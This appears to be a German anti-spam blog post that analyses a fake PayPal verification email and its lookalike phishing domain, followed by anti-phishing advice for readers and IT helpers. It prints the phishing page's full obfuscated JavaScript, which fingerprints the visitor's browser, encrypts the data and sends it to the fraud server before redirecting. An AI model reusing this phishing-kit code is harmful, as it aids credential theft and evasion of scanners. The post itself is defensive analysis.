Dieser Müll kommt natürlich nicht von PayPal. Sonst würde ich ihn ja auch gar nicht hier erwähnen. Die Spam wurde über ein kostenloses und relativ anonym zu betreibendes Angebot von Google, dem dicksten Kumpel und Komplizen des Spammers und Betrügers, versendet. Das macht PayPal nicht, obwohl auch PayPal manchmal ganz schön dumme Entscheidungen trifft.
Final Reminder: Security Verification
Hello,
Your PayPal account requires an important security update. Phone verification is mandatory.
Complete this soon to avoid account limits.
Der Link geht nicht zu Paypal, sondern in eine Domain…
$ surbl login.paypalsup.com login.paypalsup.com LISTED: ABUSE $ _
…die zwar beim ganz flüchtigen Hinschauen so ähnlich aussieht, aber bereits wegen Spam und Spam und Spam auf allen Blacklists steht, und spätestens morgen kommt der Eintrag wegen Trickbetrug (Phishing) dazu. Das ist der Hauptgrund, weshalb diese Spam bei mir automatisch erkannt und aussortiert wurde. Wer in diese Spam klickt, fällt in ein schwarzes Loch aus vorsätzlich unanalyiserbar gemachtem Javascript von kriminellen Spammern – ja, die haben so einen Urknall und haben das wirklich selbst ein „Schwarzes Loch“ genannt:
$ lynx -dump https://login.paypalsup.com/ Verweise Sichtbare Links: Versteckte Links: 2. https://login.paypalsup.com/blackhole\ $ lynx -source https://login.paypalsup.com/ <html> <head> <link rel="icon" href="data:,"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script> <style> .modal { position: fixed; z-index: 1; padding-top: 100px; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(240,240,240,0.5); background-size: 100px; animation: mymove 2s infinite; } @keyframes mymove {from {background-color: rgba(240,240,240,0.5);}to {background-color: rgba(125,125,125,0.5);}} </style> </head> <body> <a href="./blackhole\"></a> <input id="id_gs_step" type="hidden" name="gs_step" value="0"></input> <input id="id_gs_token" type="hidden" value="f0a6b4f037254614474aea3863659569"></input> <div class="modal"></div> <script> const _0×298ade=_0×4140;function _0×1dc5(){const _0×453117=['injfn','AES','fpw1','Pkcs7','split','899844qosVvm','indexOf','toString','function(){const\x20_0x','onload','enc','Utf8','ldscrp','location','12500CmBBGk','href','257280uJyosm','8qpIYoG','MD5','id_gs_token','_0x','fpnv','41749QCRvlL','substring','[native\x20code]','dcrfr','push','none','length','createElement','stringify','fpw2','id_gs_step','CBC','value','fpdv','parse','pathname','step','padding','1799805efTDMG','injfnlst','24AtsvyH','toLowerCase','2ATQDeS','scripts','encrypt','clear','lstfn','search','join','reverse','10LxJLHn','5161002teDATD','getElementById','fromCharCode','getOwnPropertyNames','2259207NWbCPw'];_0×1dc5=function(){return _0×453117;};return _0×1dc5();}function _0×4140(_0×19393a,_0×352ccd){const _0×1dc5d4=_0×1dc5();return _0×4140=function(_0×41400b,_0×6e80ea){_0×41400b=_0×41400b-0×1c5;let _0×99860d=_0×1dc5d4[_0×41400b];return _0×99860d;},_0×4140(_0×19393a,_0×352ccd);}(function(_0×38e550,_0×2c7d79){const _0×18192f=_0×4140,_0×1e1599=_0×38e550();while(!![]){try{const _0×271629=-parseInt(_0×18192f(0×1e1))/0×1+-parseInt(_0×18192f(0×1f7))/0×2*(parseInt(_0×18192f(0×1db))/0×3)+-parseInt(_0×18192f(0×1d0))/0×4+parseInt(_0×18192f(0×1d9))/0×5*(parseInt(_0×18192f(0×1f5))/0×6)+parseInt(_0×18192f(0×1f3))/0×7*(parseInt(_0×18192f(0×1dc))/0×8)+-parseInt(_0×18192f(0×1ca))/0×9*(parseInt(_0×18192f(0×1c5))/0xa)+parseInt(_0×18192f(0×1c6))/0xb;if(_0×271629===_0×2c7d79)break;else _0×1e1599['push'](_0×1e1599['shift']());}catch(_0×449378){_0×1e1599['push'](_0×1e1599['shift']());}}}(_0×1dc5,0×206c4),window[_0×298ade(0×1d4)]=function(){const _0×2b5393=_0×298ade;function _0×540e7e(_0×36065a){const _0×2bb80e=_0×4140;return document[_0×2bb80e(0×1c7)](_0×36065a);};const _0×52500e=String[_0×2b5393(0×1c8)];function _0×4e9aa5(_0×44623d){let _0×14c7cd=_0×52500e(0×6d,0×65,0×74,0×68,0×6f,0×64),_0×1bf05a=_0×52500e(0×50,0×4f,0×53,0×54),_0×4db945=_0×52500e(0×62,0×6f,0×64,0×79);const _0×327ca9=window[_0×52500e(0×66,0×65,0×74,0×63,0×68)],_0×268b37=_0×52500e(0×2e,0×2f,0×69,0×6e,0×64,0×65,0×78,0×2e,0×70,0×68,0×70,0×3f,0×67,0×73,0×61,0×75,0×74,0×68);return _0×327ca9(_0×268b37,{[_0×14c7cd]:_0×1bf05a,[_0×4db945]:_0×44623d});};let _0×384950=_0×540e7e(_0×2b5393(0×1eb))[_0×2b5393(0×1ed)];const _0×14917c=CryptoJS;let _0xbd05c=_0×540e7e(_0×2b5393(0×1de))[_0×2b5393(0×1ed)][_0×2b5393(0×1e2)](0×0,0×10),_0×3790eb=_0×14917c[_0×2b5393(0×1d5)][_0×2b5393(0×1d6)][_0×2b5393(0×1ef)](_0xbd05c),_0×4a6672=_0×14917c[_0×2b5393(0×1d5)]['Utf8'][_0×2b5393(0×1ef)](_0xbd05c[_0×2b5393(0×1cf)]('')[_0×2b5393(0×1fe)]()[_0×2b5393(0×1fd)]('')),_0×174230={};_0×174230['r']=Math['random'](),_0×174230[_0×2b5393(0×1f1)]=_0×384950,_0×174230[_0×2b5393(0×1fb)]=_0×2b5393(0×1e6),_0×174230[_0×2b5393(0×1cb)]=0×0,_0×174230[_0×2b5393(0×1f4)]=[];function _0xd626f5(){const _0×488359=_0×2b5393;let _0×42f78a=![];for(let _0xd7b27a in window){if(typeof window[_0xd7b27a]==='function'){if(_0xd7b27a[_0×488359(0×1d1)](_0×488359(0×1df))===0×0)_0×42f78a=!![];if(!_0×42f78a)_0×174230[_0×488359(0×1fb)]=_0xd7b27a;let _0×3319d3=window[_0xd7b27a][_0×488359(0×1d2)]()[_0×488359(0×1f6)]();_0×3319d3['indexOf'](_0×488359(0×1e3))===-0×1&&!(_0×3319d3[_0×488359(0×1d1)](_0×488359(0×1d3))===0×0)&&!(_0xd7b27a[_0×488359(0×1d1)](_0×488359(0×1df))===0×0)&&(_0×174230['injfn']++,_0×174230[_0×488359(0×1f4)][_0×488359(0×1e5)](_0xd7b27a));}}}_0xd626f5();function _0×34b50e(){const _0×490a1e=_0×2b5393;let _0×28607e=[];for(let _0×230243 in window){_0×28607e[_0×490a1e(0×1e5)](_0×230243);}_0×174230[_0×490a1e(0×1cd)]=_0×14917c['MD5'](JSON[_0×490a1e(0×1e9)](_0×28607e))['toString'](),_0×28607e=[],_0×28607e=Object[_0×490a1e(0×1c9)](window),_0×174230[_0×490a1e(0×1ea)]=_0×14917c[_0×490a1e(0×1dd)](JSON[_0×490a1e(0×1e9)](_0×28607e))['toString'](),_0×28607e=[];for(let _0×5d077f in navigator){_0×28607e['push'](_0×5d077f);}_0×174230[_0×490a1e(0×1e0)]=_0×14917c[_0×490a1e(0×1dd)](JSON[_0×490a1e(0×1e9)](_0×28607e))['toString'](),_0×28607e=[];let _0×43c74d=document[_0×490a1e(0×1e8)]('div');for(let _0×38aa79 in _0×43c74d){_0×28607e[_0×490a1e(0×1e5)](_0×38aa79);}let _0×44baea=getComputedStyle(_0×43c74d);for(let _0×23a84f in _0×44baea){_0×28607e[_0×490a1e(0×1e5)](_0×23a84f);}_0×174230[_0×490a1e(0×1ee)]=_0×14917c['MD5'](JSON['stringify'](_0×28607e))[_0×490a1e(0×1d2)]();}_0×34b50e();function _0×154a09(){const _0×29e845=_0×2b5393;let _0×173029=document[_0×29e845(0×1f8)][_0×29e845(0×1e7)]-0×2;_0×174230[_0×29e845(0×1d7)]=_0×173029;}_0×154a09(),_0×174230['dcrfr']='';if(document['referrer']!=='')_0×174230[_0×2b5393(0×1e4)]=document['referrer'];async function _0×433466(){const _0×1995cb=_0×2b5393;if(typeof console[_0×1995cb(0×1fa)]==='function')console[_0×1995cb(0×1fa)]();let _0×1636dc=JSON[_0×1995cb(0×1e9)](_0×174230);const _0×5a5970='iv',_0×5e8e92=_0×52500e(0×6d,0×6f,0×64,0×65),_0×16a1b9=_0×1995cb(0×1f2),_0×2075d5=_0×14917c['mode'][_0×1995cb(0×1ec)],_0×54afd4=_0×14917c['pad'][_0×1995cb(0×1ce)],_0×57d201=_0×3790eb,_0×446b47=_0×4a6672,_0×5a3565={};_0×5a3565[_0×5a5970]=_0×446b47,_0×5a3565[_0×5e8e92]=_0×2075d5,_0×5a3565[_0×16a1b9]=_0×54afd4;let _0×14c534=_0×14917c[_0×1995cb(0×1cc)][_0×1995cb(0×1f9)](_0×1636dc,_0×57d201,_0×5a3565),_0×15f516=_0×14c534['toString'](),_0×464231=await _0×4e9aa5(_0×15f516);if(!_0×464231['ok'])return;actualLink=window[_0×1995cb(0×1d8)]['origin']+window['location'][_0×1995cb(0×1f0)]+window[_0×1995cb(0×1d8)][_0×1995cb(0×1fc)],window['location'][_0×1995cb(0×1da)]=actualLink;}_0×433466();}); </script> </body> </html> $ _
Niemand, der nichts zu verbergen hat, würde so coden wie in dieser einen langen Zeile Javascript. Wehe denen, die keinen wirksamen Skriptblocker verwenden! ☹️
Ich wäre nicht überrascht, wenn es einen „kostenlosen Sicherheitscheck“ des Browsers und des Betriebssystems durch kriminelle Spammer gibt und man einen Computer anderer Leute auf dem Schreibtisch hat, wenn dabei eine ausbeutbare Schwachstelle gefunden wird. Selbst, wenn es nicht so weit kommt: Alles, was man auf dieser Website eingibt, geht direkt an Kriminelle, und es dürfte so gut wie sicher sein, dass die hinterher ein weiteres PayPal-Konto zum Leerräumen und für Betrugsgeschäfte haben.
Zum Glück für uns alle gibt es ein ganz einfaches und sehr wirksames Mittel gegen Phishing, die immer noch häufigste Form des Trickbetrugs im Internet: Niemals in eine E-Mail klicken! Stattdessen für häufiger besuchte Websites, bei denen man ein Benutzerkonto hat, ein Lesezeichen im Webbrowser anlegen und diese Websites nur über dieses Lesezeichen aufrufen! Wenn man so eine „komische Mail“ wie diese erhalten hat und sich unsicher ist, ob sie vielleicht doch echt sein könnte (PayPal schreibt aber schon wie gesetzlch vorgeschrieben ein Impressum unter seine E-Mails, aber das können Phisher auch einfach kopieren und einfügen): Nicht in die Mail klicken! Die PayPal-Site über das Lesezeichen aufrufen und sich dort wie gewohnt anmelden! Wenn man nach der Anmeldung keinen Hinweis auf das angebliche Problem sieht, hat man einen dieser gefürchteten „Cyberangriffe“ abgewehrt – und sich eine Menge Geld und monate- bis jahrelangen zähen Ärger wegen der Betrugsgeschäfte über dieses Konto erspart. So einfach geht das. Und ohne Komfortverlust, denn man klickt ja weiterhin, nur eben nicht mehr auf Links, die einem irgendwelche Ganoven aus dem Internet unterschieben können. Und es kostet nichts. Macht das! 🛡️
Ich möchte an dieser Stelle an die hier mitlesenden IT-Leute appellieren, die, so wie ich, sicherlich den einen oder anderen DAU betreuen, die das angepeilte Opfer solcher Betrügereien sind: Installiert ihnen einen Adblocker, idealerweise uBlock Origin. Wer Google Chrome benutzt, hat schon halb verloren, da unter Chrome nur die abgespeckte Version uBlock Origin Lite läuft. Aber besser das als nichts. Unter Edge läuft das Original auch.
Schärft euren DAUs ein, dass sie keinesfalls den Adblocker deaktivieren, wenn eine Seite darum bettelt. Falls die Seite ohne Abschaltung partout nichts anzeigen will, dann sollen sie auf einen anderen Browser ohne Adblocker ausweichen, den sie NUR für solche Seiten nutzen und sonst nicht. Dürften pro DAU eh nicht viele Seiten sein.
Ob ein Scriptblocker wie NoScript ist für DAUs zu empfehlen ist, kann ich nicht sagen, da ich den noch nie bei einem installiert habe. Viele legitime Seiten sind damit nicht mehr vernünftig nutzbar. Der DAU muss dann sukzessive einzelne Domains freischalten, was u.U. nur schwer vermittelbar ist. Man hätte einen erhöhten Betreuungsaufwand. Am Ende wird der Script-Blocker dann doch deaktiviert. Okay, wer mag, kann es trotzdem versuchen.